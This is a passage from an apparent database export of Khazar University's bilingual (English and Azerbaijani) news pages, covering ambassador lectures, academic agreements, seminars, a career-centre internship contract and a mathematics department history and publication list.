area.&nbsp;</p><p><strong><br></strong></p><p><strong>Khazar University Agreement with Leiden University</strong></p><p><strong>6 May 2014</strong>&nbsp;</p><p style=\"text-align:justify\">On May 6, 2014 a&nbsp;Memorandum of Understanding and Student Exchange Agreement have been signed between Khazar University and Leiden University. The Memorandum will allow the two universities to explore opportunities for the organisation of joint academic and scientific activities, the sharing of expertise, and the reciprocal exchange of research and teaching staff. The Student Exchange Agreement will allow the two universities to send and receive students. The agreement will become effective from the start of the 2014-2015 academic year and will apply to the School of Humanities and Social Sciences at Khazar University and the Faculty of Humanities in collaboration with the department of Psychology of the Faculty of Social and Behavioural Sciences at Leiden University. The documents were signed by Professor Hamlet Isaxanli, the Founder and Chairman of the Board of Directors and Trustees of Khazar University, and Professor Carel Stolker, Rector Magnificus and President of Leiden University.</p><p><strong><br></strong></p><p><strong>International Training in Leiden University</strong></p><p><strong>11-28 March 2014</strong> <strong>&nbsp;</strong>&nbsp;</p><p style=\"text-align:justify\">On March 11-28, 2014, within the Curriculum Development and Capacity Building in EU Studies project coordinated by Khazar University&nbsp; (in partnership with the Ministry of Education of Azerbaijan Republic), an &nbsp;academic training was organized for teachers from 6 Azerbaijani Universities (Khazar University, Baku State University, Baku State University, Nakhchivan State University, Baku Slavic University, Azerbaijan University) at Leiden University, Kingdom of the Netherlands. Khazar University was represented at the training by Dr. Mukhtar Hajizade,&nbsp; Head of the Department of Political Science and International Relations, and Elvin Yusifli, instructor of the &nbsp;department.&nbsp;</p><p style=\"text-align:justify\">The training program was built around three general topics: 1. Content of EU Studies; 2. European standards for quality in education and requirements of the University of Leiden;&nbsp; and 3. Curriculum Development&nbsp; and&nbsp; current issues in EU Studies. On the first day of the training, goals and targets were set for the program. Then participants had the opportunity to observe courses on the European Union (EU) including Lobbying in the EU, Institution of permanent representations to the EU countries in Brussels, Decision-making and rational choice, Education and innovation, EU Law, EU policies and political programs, EU and governance, and Parliament of the Netherlands. &nbsp;Training participants participated as observers in various seminars, lectures, working groups, and classes in order to familiarize themselves with the program taught at the University of Leiden. As the second component of program, a discussion was conducted about quality standards applied in the EU Studies program in Europe and the Netherlands. The discussion focused on the quality of the academic staff, test methods, composition of lessons and materials used in the lessons. Finally, the third part of the program covered curriculum design and development.&nbsp;</p><p style=\"text-align:justify\">Meetings were held in various organizations for the enrichment of the curriculum in practice. Information was given to participants about the Courser platform (<a href=\"https://www.coursera.org/\"><strong>https://www.coursera.org</strong></a>) and MOOC online courses applied in Leiden University. The MOOC is defined as a&nbsp;<em>massive, open and online course</em>&nbsp;base. MOOC courses offered by the world\'s leading universities over the Internet without requiring tuition are one of the most important innovations allowing courses to take on a mass nature in the field of education in recent years. It was noted that&nbsp;MOOC courses are only offered by a group of leading universities in the world. Anyone wishing &nbsp; to attend such courses an auditor is eligible to do so with his or her personal computer freely via the Internet, without special registration. It was also noted that using MOOC courses’ resources in Azerbaijan is important &nbsp;for students\' personal development. Using&nbsp; opportunities offered by these courses&nbsp;was deemed necessary in terms of increasing knowledge&nbsp; in academic fields currently taught in Azerbaijan. The instructors were introduced to the experience and activity&nbsp;of the Innovation Center at the University of Leiden, which uses the term “Innovation in Education.” Dr. Gideon Shimshon informed participants that the center not only follows world development trends, it also strives to keep ahead of the curve, and it attaches great importance to the development of students\' practical experience,&nbsp;allocating funds to the university\'s focus on innovative projects. It was noted that&nbsp;&nbsp;it is possible to achieve innovation&nbsp;through freedom of thought, rather than the traditional way of thinking and infrastructure. In this respect, without going the traditional way of evaluating projects, they use a highly simplified manner to allocate resources to projects based on creative ideas. During the visit, university staff members&nbsp;visited the Accreditation Organization of the Netherlands and Flanders. They learned that, in contrast to Azerbaijan,&nbsp;this activity is carried out by an independent body accredited in Holland. Participants’ questions were answered about the activities of this organization,&nbsp;the newly accredited&nbsp;university&nbsp;and conditions required by the programs.</p><p><br></p><p><strong>Lecture by British Ambassador at Khazar University</strong></p><p><strong>4 March 2014</strong>&nbsp;</p><p style=\"text-align:justify\">On March 4, 2014, the latest event of the Department of Political Science and International Relations within a series on the Comparative Politics of European Countries was dedicated to British Politics and Political Culture. His Excellency Mr. Irfan Siddiq, Her Majesty\'s Ambassador to the Republic of Azerbaijan, delivered a special lecture on Politics and Political Culture of the United Kingdom of Great Britain and Northern Ireland. Ambassador Siddiq talked about how the United Kingdom has evolved since the Magna Carta was issued in 1215, and he explained the current decision-making process and mechanisms as well as public administration in Britain. He also briefed the audience on the principles and priorities of British Foreign Policy. Moreover, he let the participants of the event know about the stances of both the Conservatives Party and the current coalition government, which is composed of Conservatives and Liberal Democrats, on the British membership in the European Union and the chances of Britain leaving the Union. In the question and answer session, which was moderated by Head of Department Dr. Mukhtar Hajizada, students asked the ambassador about various topics of contemporary international relations including the referendum on Scottish independence to be held on 18 September 2014 and British policy on Syria. He also responded to questions on the changes to the visa service of the embassy, since visa applications will now be collected by the Visa Application Centre in Baku but processed in Istanbul starting on 1 April 2014. Following the discussion, Ambassador Siddiq and his wife, Mrs. Penélope Siddiq, were hosted by Prof. Hamlet Isaxanli, the founder and chairman of the Board of Directors and Trustees of Khazar University. They guests were presented with information about the university as well as the scholarship opportunities at Khazar University for prospective students from Britain.</p><p><strong><br></strong></p><p><strong>Russian Ambassador at Khazar</strong>&nbsp;</p><p><strong>28 February 2014</strong>&nbsp;</p><p style=\"text-align:justify\">On February 28, 2014,&nbsp;the&nbsp;Extraordinary and Plenipotentiary Ambassador of the Russian Federation in Azerbaijan&nbsp;Republic, Vladimir Dorokhin,&nbsp;visited Khazar University.&nbsp;&nbsp;First,the&nbsp;guest met with Prof. Hamlet Isaxanli, founder of Khazar University&nbsp;and&nbsp;Chairman of its Board of Directors and Trustees. H.&nbsp;Isaxanli welcomed&nbsp;the&nbsp;guest warmly and informed him about the main activities of Khazar University,&nbsp;&nbsp;expressing&nbsp;his satisfaction with the level of cooperation between the Embassy and&nbsp;the&nbsp;university. Then, a meeting of &nbsp;V. Dorokhin was held with instructors and students. H.Isaxanli introduced the guest to the students and gave detailed information about his diplomatic activity.&nbsp;The ambassador delivered a lecture&nbsp;to the students&nbsp;on \"Russia in the contemporary world.\" After the lecture, students&nbsp;majoring in international relations, political science and regional studies asked&nbsp;him questions. At the end of the discussion,&nbsp;H.&nbsp;Isaxanli expressed his gratitude to the ambassador and emphasized that cooperation between Khazar University and the Russian Embassy will be further developed. Farda Asadov, Vice&nbsp;President for International Relations at Khazar University; Isakhan Isakhanli,&nbsp;Assistant&nbsp;Vice&nbsp;President&nbsp;for Students and Admissions; Jabir Khalilov, Dean of the School of Humanities and Social Sciences;&nbsp;Baba Bayramli, Director of Institute of Politics;&nbsp;and Mukhtar Hajizada, head of the Department of Political Science and International Relations,&nbsp;participated in the meeting.</p><p><strong><br></strong></p><p><strong>Open Lecture by French Ambassador on Political Structure and Culture of France</strong></p><p><strong>18 February 2014</strong> &nbsp;</p><p style=\"text-align:justify\">On February 18, 2014,&nbsp;His Excellency Mr. Pascal Meunier, Ambassador of the Republic of France to the Republic of Azerbaijan, delivered a special lecture upon the invitation of the Department of Political Science and International Relations at Khazar University. He spoke about French politics and provided a comprehensive overview of the political culture of this country.</p><p style=\"text-align:justify\">He highlighted the Franco-German friendship which became possible in the aftermath of the Second World War and laid the cornerstone of regional integration into Western Europe. Furthermore, he informed the audience about the stand of France with regard to the Eastern and Southern dimensions of the European Union and made mention of the participation of President François Hollande at the Eastern Partnership Vilnius Summit on 29 November 2013. Providing his opinion about the current state of cooperation between the EU and the Eastern Neighbours, Mr. Meunier highlighted the importance that Ukraine find its way - in accordance with the people demonstrating for more cooperation with the EU.</p><p style=\"text-align:justify\">In the question and answer session, students had a chance to ask their questions on the French position on various matters occurring in the present including Syria, Mali and Iran. In his answer to the question about the French position in regard to Nagorno Karabagh, the ambassador spoke about the necessity to think about the communities on both sides suffering from the conflict, highlighting the problem of contradiction of &nbsp;general principles in international law, which he called the unconscionable principles. Ambassador Meunier emphasized the importance for France of the principle of territorial integrity but also brought up the stance of France in the unique case of Kosovo, which differentiates from Karabagh. He pointed out how Armenia loses many opportunities by not being on track between Azerbaijan and Turkey but also mentioned possible opportunities for reconciliation in the near future. In response to various calls to the French governments to give up their seat as one of the three Minsk Group chairs, the ambassador reiterated that the decision for such a format was made at the time when the group was formed and maintained that there is no reason why France should give their seat to the European Union.</p><p><br></p><p><strong>Constituent meeting of the Departmental Staff-Student Consultative Committee</strong>&nbsp;</p><p><strong>5 December 2013</strong></p><p style=\"text-align:justify\">In September 2013, the Department of Political Science and International Relations announced its plans to establish a special committee in order to facilitate dialogue with its student body and to affirm our commitment to developing innovative approaches to education, teaching and learning, following the exemplary European models. Therefore, the Departmental Staff-Student Consultative Committee (SSCC) has been structured to provide a forum for students to discuss their academic concerns including teaching, learning and student support issues in an open manner at the Departmental level. The SSCC is comprised of student representatives and members of our academic staff.Elections were held for all the seats in the committee throughout the month of October as a result of which 15 members now represent the student body of the department. The Khazar University Student Union administered the electoral process under the personal supervision of the Head of Department and the observation of the Dean of the School of Humanities and Social Sciences. Elections were conducted in an efficient and transparent manner.&nbsp; Candidates nominated themselves and were elected by students raising their hands to ensure the integrity of the electoral process and the absolute confidence of the voting students. The elected student representatives (ESRs) of the Committee now represent all of the students of undergraduate and postgraduate programs in Political Science, International Relations and Regional Studies and will serve for one academic year.&nbsp;</p><p style=\"text-align:justify\">On December 5, 2013, the Head of the Department called for the constituent meeting and convened the committee. Dr. Mukhtar Hajizada opened the meeting and confirmed his desire to create a meaningful educational experience in the best interest of students and the department. He reiterated that the aim is to look beyond what the department is currently doing in order to identify great ideas from students and put them into practice where possible. Following the approval of the rules of procedure by the committee members, and the adoption of the agenda of the constituent meeting of the committee, a number of problems were raised and suggestions were put forward by the ESRs of the committee. They were very proactive in raising issues for the agenda of meetings representing students\' views. They should ensure that students\' views are collected and heard at the SSCC. A lively question and answer session on various concerns took place before the chair made his final remarks of the meeting. They will have to ensure that discussions are documented and the students are kept informed of resulting decisions by reporting actions they have agreed upon back to the students they represent. The ESRs will be assigned to produce and distribute an annual summary of the issues discussed and actions taken at the end of every academic year.</p><p><strong><br></strong></p><p><strong>Lecture on Caribbean and European Regionalism</strong></p><p><strong>4 December 2013</strong> &nbsp;</p><p style=\"text-align:justify\">On December 4, 2013, the Department of Political Science and International Relations facilitated a talk&nbsp;by Mr. Sehon Marshall, the former Chairman of the National Telecommunications Regulatory Commission (NTRC) of Saint Vincent and the Grenadines. Azerbaijan established diplomatic relations with this Eastern Caribbean country in 2011 and hosted that country’s Prime Minister, Honourable Ralph Gonsalves,&nbsp;in that same year. Mr. Marshall came to Azerbaijan on an education scholarship offered through Azerbaijan International Development Agency, the agency established to foster deeper cooperation between Azerbaijan and its international friends. The speaker discussed the origins of the Regionalisation in the Eastern Caribbean region. He gave an overview of the organs and institutions of the Organisation of Eastern Caribbean States (OECS) with specific reference to their composition and functions. He further offered a comparative analysis of the OECS with the European Union and the Organisation of the Black Sea Economic Cooperation established in 1998 with Azerbaijan&nbsp;as&nbsp;one of its founding members. In addition, the participants were exposed to the roles played by Azerbaijan within the context of BSEC&nbsp;as&nbsp;compared with the role of St. Vincent and the Grenadines within the OECS. The speaker took the opportunity to highlight potential areas for deepening cooperation between Azerbaijan and St. Vincent and the Grenadines in investment in tourism, financial services, as well as light manufacturing and information technology. This event was the latest in a series of events organised by the Department of Political Science and International Relations of Khazar University to expose the student body to examples of regional integration existing in other parts of the world.</p><p><strong><br></strong></p><p><strong>Acting Head of Delegation of the European Union at Khazar University</strong></p><p><strong>27 November 2013</strong> &nbsp;</p><p style=\"text-align:justify\">On November 27, 2013,&nbsp;before the start of the third Eastern Partnership Summit, scheduled to take place in Vilnius on November 28-29, the Department of Political Science and International Relations organized an event and hosted the Acting Head of the Delegation of the European Union to Azerbaijan,&nbsp;Mr. Toralf Pilz.&nbsp;Dr. Mukhtar Hajizada, Head of the Department, first set the scene for the speaker and provided an overview of the Eastern Partnership and the key areas where it focuses. Mr. Toralf Pilz then provided a detailed and comprehensive presentation about the Eastern dimension of the European Neighbourhood Policy. He emphasized that cooperation in areas such as the rule of law and good governance, respect for human rights and basic freedoms, market economy and sustainable development constitute the basis of the partnership. Mr. Pilz reiterated that the main goals are to support political and socio-economic reforms in partner countries in order to accelerate political association and economic integration, to support civil society and mobility of citizens, and visa liberalization in the long term. He also informed the audience that this partnership entails both multilateral and bilateral tracks of cooperation. In response to questions from the students, he talked about the standing issues in the negotiations between the EU and Azerbaijan on the modified version of the Association Agreement and the Strategic Modernization Partnership and the possibility for an altered Deep and Comprehensive Free Trade Agreement.</p><p><strong><br></strong></p><p><strong>Polish Ambassador reiterated the support of Poland to the Eastern Partnership</strong></p><p><strong>25 November 2013</strong> &nbsp;</p><p style=\"text-align:justify\">On November 25, 2013, on the eve of the third Eastern Partnership Vilnius Summit, scheduled to take place on 28-29 November 2013, the Department of Political Science and International Relations at Khazar University organized a meeting for its students with the Ambassador Extraordinary and Plenipotentiary of the Republic of Poland to Azerbaijan. The Head of the Department, Dr. Mukhtar Hajizada, first welcomed and expressed thanks to Ambassador Labenda for coming to Khazar University. Dr. Hajizada reminded the audience about the particular role Poland played as a co-initiator of the Eastern Partnership which is an initiative structured to bring six Eastern European Partners closer to the European Union. Ambassador Labenda reiterated his government\'s commitment to the Eastern Partnership and its willingness to play a role in the process. Talking about the Polish policy towards the Eastern neighbourhood, Ambassador Labenda expressed his ideas about the negotiated Agreements on a Deep and Comprehensive Free Trade Area, Association Agreements and Visa Facilitation agreements linked to Readmission Agreements. Sharing his views on the completed EU accession process of Poland and the significance of the Eastern Partnership, the Ambassador stressed the benefits of free trade and the advantages of having an open market for the countries of the Eastern Partnership; how the EU can upgrade its trade and investment in the Eastern neighborhood; and the possible economic reforms the countries may need to make. Ambassador Labenda mentioned the flagship initiatives and the educational opportunities to study at Polish and European universities. Ambassador Labenda said that the Eastern Partnership is not about a platform for resolving conflicts, and the solution for the Nagorno-Karabagh conflict should be found between Armenia and Azerbaijan with the facilitation of the Minsk Group. He acknowledged the fact that Armenia is an aggressor because of the occupation of the Azerbaijani territories.</p><p><strong><br></strong></p><p><strong>Roundtable Discussion on Nagorno-Karabagh with Thomas de Waal</strong></p><p><strong>5 November 2013</strong> &nbsp;</p><p style=\"text-align:justify\">On November 5, 2013, the Department of Political Science and International Relations at Khazar University organised a roundtable discussion with Thomas de Waal and James F. Collins on Azerbaijan’s international relations and challenges over the Nagorno Karabagh conflict. The head of the Department, Dr. Mukhtar Hajizada, moderated the discussion, which was conducted in an&nbsp;interactive manner where students contributed actively to the discussion. De Waal&nbsp;is a senior associate at the Carnegie Endowment, specializing primarily in the South Caucasus and the conflicts there. Ambassador Collins&nbsp;was the U.S. ambassador to the Russian Federation from 1997 to 2001. He is a Director of the Russia and Eurasia Program at the Carnegie Endowment and is an expert on the former Soviet Union, its successor states, and the Middle East. De Waal highlighted the enormous changes he has been observing in the region - from the times when drones were flying in the sky to the infrastructural improvements. He reminded the audience about the important steps of the peace talks on Nagorno-Karabagh, including the negotiations between Ter-Petrosian and Aliev in 1997, Key West in 2001 and Kazan in 2011. He stressed the necessity to understand that Karabagh is not a frozen conflict, but it is the peace process that is frozen and deserves attention. He said that the two societies have not been able to cross the phsychological line and work with the other side. De Waal expressed his regrets that nothing has changed with regard to the Karabagh conflict and called it a ‘dynamic of no change.’ James F. Collins stressed the need to understand the emotional side of conflicts including the Karabagh war, which is the most immediate one for Azerbaijanis. He reminded the audience of the difficulties of solving conflicts even through diplomatic means. In his opinion, a greater intensity of interest that existed in the past over the Karabagh conflict in the West is now overshadowed by the contemporary problems in Washington and the international community is also unprepared to make decisions for Armenia and Azerbaijan and all the people involved. Sharing his thoughts on the issue, U.S. Embassy Public Affairs Officer Dr. Stephen A. Guice, who also participated in the event, said that the U.S. government hopes to see progress on Nagorno-Karabagh. Secretary of State Kerry is very interested in seeing progress and a settlement in conflict, President Obama recently&nbsp;wrote a letter to President Aliyev about finding a solution, and Ambassador Warlick has just been named as the new Minsk Group co-Chair for the U.S. and is intensely interested in seeing movement on the conflict.&nbsp;</p><p><strong><br></strong></p><p><strong>Regional Security in the South Caucasus: The role of the US</strong></p><p><strong>1 November 2013</strong> &nbsp;</p><p style=\"text-align:justify\">On November 1, 2013, the Department of Political Science and International Relations at Khazar University hosted Mr. Glen Howard, president of the Jamestown Foundation for a public lecture. The Head of the Department Dr. Mukhtar Hajizada first thanked Mr. Howard for accepting his invitation to come and speak about Azerbaijan and the role of the US in regional security in the South Caucasus. Mr. Howard spoke today about US national security interests in the South Caucasus over the past fifteen years, analyzing the evolution of American interests in the region, starting with US oil investment in the Caspian in the 1990s, to the creation of oil and gas pipelines to export Azerbaijani oil to western energy markets via Turkey. He addressed the changes that occurred in bilateral security relations between NATO and Azerbaijan during this period as well, starting with the NATO Partnership for Peace Program which opened a door for Azerbaijan into NATO as well as security cooperation with the United States. Mr. Howard then addressed how US interests changed after the tragedy of 9/11 in New York which deepened US interests in Azerbaijan because of American military involvement in Afghanistan as NATO began using Azerbaijan as a key transportation hub for NATO supplies sent to Central Asia. Mr. Howard&nbsp; also identified the new role that the Black Sea region is playing in Azerbaijani strategy&nbsp; through its energy investments in the Balkans. This new geopolitical development is transforming the role of Azerbaijan in the wider Black Sea and also is elevating its status as a player in the Balkans.&nbsp; Following his talk, Mr. Howard answered questions by students about American interests in the region and addressed Azerbaijan’s growing role in global affairs, moving from regional interests in the Caspian to a country with wider global ties.</p><p><strong><br></strong></p><p><strong>Public lecture on the&nbsp;&nbsp;European Integration in Practice: Cross-Border Cooperation between Bulgaria and Romania</strong></p><p><strong>30 October 2013</strong> &nbsp;</p><p style=\"text-align:justify\">On October 30, 2013,&nbsp;The Department of Political Science and International Relations hosted a public lecture by Dr. Mimi Kornazheva, Associate Professor at the University of Ruse (Bulgaria) and Director of Bulgarian-Romanian Interuniversity Europe Center (BRIE). She talked about the European Integration in Practice: A Case Study of a Sustainable Cross-Border Cooperation between Bulgaria and Romania.</p><p><br></p><p><strong>The Department of Political Science and International Relations at Khazar University has become a member of the University Association for Contemporary European Studies (UACES)</strong></p><p><strong>17 October 2013</strong></p><p style=\"text-align:justify\">UACES is the academic association for academics, students and practitioners who are interested in Contemporary European Studies and aims to promote teaching and research in Contemporary European Studies. UACES was established in 1969 and is a Registered Charity in England and Wales.</p><p><strong><br></strong></p><p><strong>Public lecture by Dr. Fabienne Bossuyt</strong>&nbsp;</p><p><strong>17 October 2013</strong>&nbsp;</p><p style=\"text-align:justify\">On October 17, 2013, the Department of Political Science and International Relations hosted a public lecture by&nbsp;Dr. Fabienne Bossuyt. Dr. Bossuyt&nbsp;is an Assistant Professor at the Centre for European Union Studies within the Department of Political Science, Ghent University (Belgium). She was hosted by our Department as a Visiting Researcher from 16 September until 16 October. The public lecture was entitled The involvement of the Eastern European Member States of the European Union in the engagement of the Union with the post-Soviet states. Dr Bossuyt first talked about the European Union and European integration. She then introduced the topic of the broader research project which examines whether the involvement of the Central and Eastern European EU member states in the EU’s relations with the post-Soviet countries strengthens the EU’s engagement with these countries. At the end of the lecture, Dr Bossuyt presented the results of her field work in Baku, which focused on the participation of civil servants and officials from Central and Eastern European EU member states in EU Twinning projects in Azerbaijan.</p>'),(5275,3057,'az','Xəzər Universiteti Gənclər Təşkilatları Milli Şurası ilə müqavilə imzaladı','2018-ci il martın 19-da Xəzər Universitetinin Karyera Mərkəzinin təşəbbüsü ilə universitetlə...','<p>2018-ci il martın 19-da Xəzər Universitetinin Karyera Mərkəzinin təşəbbüsü ilə universitetlə Azərbaycan Respublikası Gənclər Təşkilatları Milli Şurası arasında tələbələrin təcrübə keçməsinə dair müqavilə imzalamışdır. Müqaviləyə əsasən Xəzər Universitetinin tələbələri Milli Şuranın katibliyində təcrübə keçəcəklər. Onlar müxtəlif departamentlərdə fəaliyyət göstərərək, gələcək karyeraları üçün vacib olan bilik və bacarıqlara yiyələnəcəklər.</p><p>Müqavilə imzalanarkən nəzərə çatdırılmışdır ki, Azərbaycanın ilk özəl ali təhsil müəssisəsi olan Xəzər Universiteti dünya, Avrasiya və gənc universitetlərin <em>QS World University Rankings</em> beynəlxalq təşkilatı tərəfindən müəyyənləşdirilən reytinq cədvəllərində daim yuxarı yerləri, Azərbaycan üzrə isə birinci yeri tutur. Universitetin təhsil profilinə bakalavriat və magistratura ilə yanaşı, doktorantura proqramları və Azərbaycanda ən geniş MBA proqramı daxildir. Universitet dünyanın bir sıra nüfuzlu universitetləri ilə, aparıcı yerli və beynəlxalq şirkətlərlə səmərəli əlaqələr qurmuşdur.</p><p>Universitetdə humanitar və sosial elmlər, mühəndislik və tətbiqi elmlər, iqtisadiyyat, menecment və biznesin idarə olunması kimi müxtəlif ixtisaslar üzrə hazırlanan kadrlar dövlət müəssisələrində, özəl yerli və xarici şirkətlərdə çalışır, rəhbər vəzifələr tuturlar.</p><p>Qeyd edək ki, Azərbaycan Respublikası Gənclər Təşkilatları Milli Şurası 1995-ci ildən fəaliyyət göstərir. Təşkilatın məqsədi gənclərin bilik və bacarıqlarının Azərbaycan dövlət müstəqilliyinin möhkəmlənməsinə, beynəlxalq aləmdə layiqli yer tutmasına, demokratik quruculuq işlərinə yönəltməkdir. 1997-ci ildən Avropa Gənclər Forumu, Türk Dünyası Gənclər Birliyinin tam hüquqlu üzvü, 2002-ci ildən BMT-nin İqtisadi və Sosial Şurasının məşvərətçi statuslu üzvü, İslam Konfransı Təşkilatının Gənclər Forumunun həmtəsisçisi və tamhüquqlu üzvü, “Böyük İpək Yolu” beynəlxalq gənclər təşkilatının həmtəsisçisi, 2014-cü ildən Dünya Gənclər Assambleyasının tamhüquqlu üzvüdür.</p><p>Əlavə məlumatı bu link vasitəsilə əldə etmək olar:</p><p><a href=\"http://www.youthportal.az/az/news/detail.php?ID=125737\">http://www.youthportal.az/az/news/detail.php?ID=125737</a></p>'),(5276,3057,'en','Khazar University signs a contract with National Assembly of Youth Organizations','On March 19, 2018, on an initiative of Khazar University Career Center, Khazar University signed...','<p>On March 19, 2018, on an initiative of Khazar University Career Center, Khazar University signed a contract with National Assembly of Youth Organizations on work experience program for students. According to the contract, Khazar University students will have work experience at the Secretary of National Assembly working at various departments to gain necessary knowledge and skills for a future career.</p><p>While signing the contract, it was mentioned that, according to <em>QS World University Rankings</em>, Khazar University, the first private university of Azerbaijan, is a high-ranking university in the world, and top university in Azerbaijan. Education profile of the University involves Bachelor’s, Master’s and PhD programs as well as the biggest MBA program in Azerbaijan. Khazar University has productive relations with prestigious universities of the world, and leading international and local companies.</p><p>Graduates of Khazar University, who studied in various programs such as social sciences, engineering and applied sciences, economy, management and business, etc., are currently working in leading positions in local and international companies.</p><p>National Assembly of Youth Organizations of the Republic of Azerbaijan was established in 1995. The objective of the organization is to use the potential of the youth to strengthen the independence of, and democracy in Azerbaijan, and help our country hold a decent place in the international arena. National Assembly of Youth Organizations became a member of European Youth Forum and Turkish World Youth Union in 1997. Moreover, the Organisation became a member with consultative status at United Nations Economic and Social Council, co-founded and became a full member of the Islamic Conference Youth Forum, and co-founded the Great Silk Way International Youth Union in 2002, and is a full member of World Assembly of Youth.</p><p>Link&nbsp;for further information:</p><p><a href=\"http://www.youthportal.az/az/news/detail.php?ID=125737\">http://www.youthportal.az/az/news/detail.php?ID=125737</a>  <br></p>'),(5166,3002,'az','Karyera Mərkəzində növbəti təlim','2018-ci il fevralın 28-də Xəzər Universiteti Karyera Mərkəzinin meneceri Səbinə Allahverənova...','<p>2018-ci il fevralın 28-də Xəzər Universiteti Karyera Mərkəzinin meneceri Səbinə Allahverənova tələbələrə CV-nin hazırlanması təlimi keçirdi. Təlimin ilk hissəsində, CV hazırlama prosesində, adətən, yol verilən səhvlər müzakirə olundu, daha sonra isə CV-nin əsas məzmunun nələrdən ibarət olmalı olduğu barəsində tələbələrə ətraflı izahat verildi.</p><p>Bir saat davam edən təlimin sonunda tələbələrin sualları cavablandırıldı.</p>'),(5167,3002,'en','Another training at Career Centre','Sabina Allahveranova, manager of Career Center of Khazar University, held a training on CV layout...','<p>Sabina Allahveranova, manager of Career Center of Khazar University, held a training on CV layout. At the first stage of the training, participants discussed common mistakes in CV layout. Later, the trainer gave detailed information regarding main content of CV.</p><p>Students also got answers to their questions at the training which lasted an hour.</p>'),(5168,3003,'en','A seminar “Mechanical Engineering”','A seminar “Mechanical Engineering” is to be held in a conference room...','<p>A seminar “Mechanical Engineering” is to be held in a conference room (Room 206) of Khazar University at 12:00 on March 3, 2018. The trainer is Farid Aliyev, a graduate of Middle East Technical University, Turkey, and San Jorge University, Spain.</p>'),(5169,3003,'az','“Mexanika mühəndisliyi” adlı seminar keçiriləcək','2018-ci il martin 3-ü saat 12:00-da Xəzər Universitetinin akt zalında...','<p>2018-ci il martin 3-ü saat 12:00-da Xəzər Universitetinin akt zalında (otaq 206) “Mexanika mühəndisliyi” adlı seminar keçiriləcək. Təlimçi Türkiyənin Orta Doğu Tekniki Universitetinin (ODTÜ) və İspaniyanın San Jorge Universitetinin məzunu Fərid Əliyevdir.</p>'),(5170,3004,'az','Təhsil departamenti “Jurnal klubu” təşkil edəcək','2018-ci il martın 2-si saat: 16:00-da Xəzər Universiteti Təhsil fakültəsinin Təhsil departamenti...','<p>2018-ci il martın 2-si saat: 16:00-da Xəzər Universiteti Təhsil fakültəsinin Təhsil departamenti “Neftçilər” kampusundakı “Yeni təlim otağı”nda, “Jurnal klubu” (Journal Club) təşkil edəcək. Burada Psixologiya, Təhsil, Beynəlxalq münasibətlər və siyasi elm departamentlərindən doktorantlar və magistrlər aktual mövzulara toxunan və məşhur jurnallarda çap olunmuş 3 məqaləni fərqli yönləri ilə izah edəcək, müzakirələr aparacaq və fikir mübadiləsi edəcəklər.</p>'),(5171,3004,'en','Department of Education organizes “Journal Club”','Department of Education within the school of Education of Khazar University, will organize...','<p>Department of Education within the school of Education of Khazar University, will organize “Journal Club” in “New training room” at “Neftchiler” campus at 16:00 on March 2, 2018. PhD and Master’s students of Department of Psychology, Department of Education and Department of Political Sciences and International Relations will present 3 articles, which were published in famous journals dealing with important topics, in various perspectives. Moreover, participants will hold discussions and exchange views.</p>'),(5172,3005,'az','Tarix və arxeologiya departamenti Xocalı Soyqırımını yad etdi','2018-ci il fevralın 26-da Xəzər Universiteti Tarix və arxeologiya departamentinin müəllimləri...','<p>2018-ci il fevralın 26-da Xəzər Universiteti Tarix və arxeologiya departamentinin müəllimləri, xüsusilə, “Azərbaycan tarixi” fənnlərin müəllimləri öz dərslərində Xocalı Soyqırımını yad edərək, tələbələrə bu faciə haqqında geniş məlumat verdilər.</p><p>Bununla yanaşı, fevralın 24-də Tarix və arxeologiya departamentinin müəllimi t.e.d Telman Nüsrətoğlunun Türkiyənin ən böyük qəzetlərindən biri olan “Türkiye” qəzetində “Ermeni proje devleti ve Hocalı Soykırımı” adlı məqaləsi çap olunmuşdur.</p><p>Fevralın 26-da isə Telman Nüsrətoğlu TRT kanalının canlı yayımında Azərbaycanın Ankaradakı səfirinin də iştirak etdiyi “Xocalı” özəl proqramında Qarabağ məsələsi tarixini anlatmışdır.</p>'),(5173,3005,'en','Department of History and Archeology commemorates Khojaly Genocide','The instructors of Department of History and Archeology of Khazar University, especially...','<p>The instructors of Department of History and Archeology of Khazar University, especially the instructors of “Azerbaijan History” discipline, commemorated Khojaly Genocide on February 26, 2018, giving students detailed information on tragedy.</p><p>Moreover, an article “Project state Armenia and Khojaly Genocide” by Telman Nusratoghlu, PhD in History and instructor of Department of History and Archeology, was published in the newspaper of “Turkey”, one on the prestigious newspapers of Turkey, on February 24.</p><p>Also, Telman Nusratoghlu joined special edition of “Khojaly” program on TRT channel, with participation of Ambassador of Azerbaijan to Ankara, and talked about Garabagh conflict.</p>'),(982,213,'az','Tarixi','Tarixi','<p>Riyaziyyat Departamenti 1993-cü il, oktyabrın 1-də yaradılmışdır. Departament riyaziyyat və tətbiqi riyaziyyat sahələrində Magistr və Fəlsəfə Doktoru dərəcələri üçün proqramlar təklif edir. Öz riyazi maraqlarından digər sahələrdə faydalanmaq istəyən tələbələr bir sıra birgədepartament proqramlərından istifadə edə bilərlər. Departament Xəzər Universitetinin Diferensial və İnteqral hesabının başlanğıcı, ali diferensial və inteqral hesabı, Diferensial tənliklər, Xətti Cəbr, əməliyyatlar tədqiqi, ümumi statistika, həmçinin Biostatistika və biznes statistikası, İqtisadçlar və Biznes üçün riyaziyyat və s. fənlərin tədris olunduğu bütün məktəblərində fəaliyyət göstərir.</p><p>2009-cu ildən başlayaraq Riyaziyyat Departamenti Riyaziyyat və İnformatika müəllimliyi ixtisası üçün bakalavr proqramları təklif edir. Riyaziyyat və İnformatika müəllimliyi ixtisası üzrə təklif olunan bakalavr proqramı Riyaziyyat və Kompyuter elmləri Departamentlərinin müştərək proqramıdır.</p>'),(983,252,'az','Nəşrlər','Nəşrlər','<p>1.&nbsp;<strong>Hamlet Isayev</strong>,&nbsp;<a href=\"http://www.khazar.org/files/math_depart/5.pdf\">On the class of linear operators associated with the multiparameter spectral theory</a>, Appl. Comput. Math., 2017; (accepted)</p><p><br></p><p>2.&nbsp;Sertac Goktas&nbsp;(Turkey),&nbsp;<strong>Nazim B. Kerimov</strong>&nbsp;, and&nbsp;Emir A. Maris&nbsp;(Turkey), &nbsp;<a href=\"http://www.khazar.org/files/math_depart/4.pdf\">On the Uniform Convergence of Spectral Expansions for a Spectral Problem with a Boundary Condition Rationally Depending on the Eigenparameter</a>,&nbsp;Journal of the Korean Mathematical Society, 54(2017), No.4, pp 1175-1187;</p><p><br></p><p>3.&nbsp;<strong>Ali Huseynli</strong>, Vidadi Mirzoyev and Aida Gulieva,&nbsp;<a href=\"http://www.khazar.org/files/math_depart/7.pdf\">On basicity of the perturbed system of exponents in 